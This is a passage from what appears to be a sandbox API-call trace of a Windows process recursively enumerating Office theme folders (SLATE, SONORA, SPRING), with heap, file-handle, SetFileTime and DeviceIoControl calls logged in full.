ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9183d0 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91cb40 [0242.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.668] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9183f0 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91cc48 [0242.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.668] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.669] GetLastError () returned 0x12 [0242.669] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.669] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.669] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.669] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.669] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0242.669] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0242.669] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.669] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.669] GetLastError () returned 0x12 [0242.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.669] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.669] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0242.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.669] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.671] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.671] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91dab0 [0242.671] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91dab0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91dab0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91dab0) returned 1 [0242.671] NtClose (Handle=0x1b0) returned 0x0 [0242.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.671] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.671] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.671] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.671] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.671] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0242.671] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0242.671] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.672] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.672] GetLastError () returned 0x12 [0242.672] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.672] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.672] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.672] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.672] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0242.672] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0242.672] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.672] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.672] GetLastError () returned 0x12 [0242.672] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91cd50) returned 1 [0242.672] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.672] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91ce58) returned 1 [0242.672] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.672] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0242.672] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.674] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.674] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91dab0 [0242.674] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91dab0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91dab0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.674] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91dab0) returned 1 [0242.675] NtClose (Handle=0x1bc) returned 0x0 [0242.675] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.675] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ce58 [0242.675] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.675] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.675] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.675] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.675] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91cd50 [0242.675] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918490 [0242.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dac8 [0242.675] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x880) returned 0x91fab0 [0242.675] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91d268) returned 1 [0242.675] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.676] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.676] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.676] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9184b0 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dbd0 [0242.676] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.676] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.676] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.676] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9184d0 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dcd8 [0242.676] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.676] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.676] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.676] RtlAllocateHeap 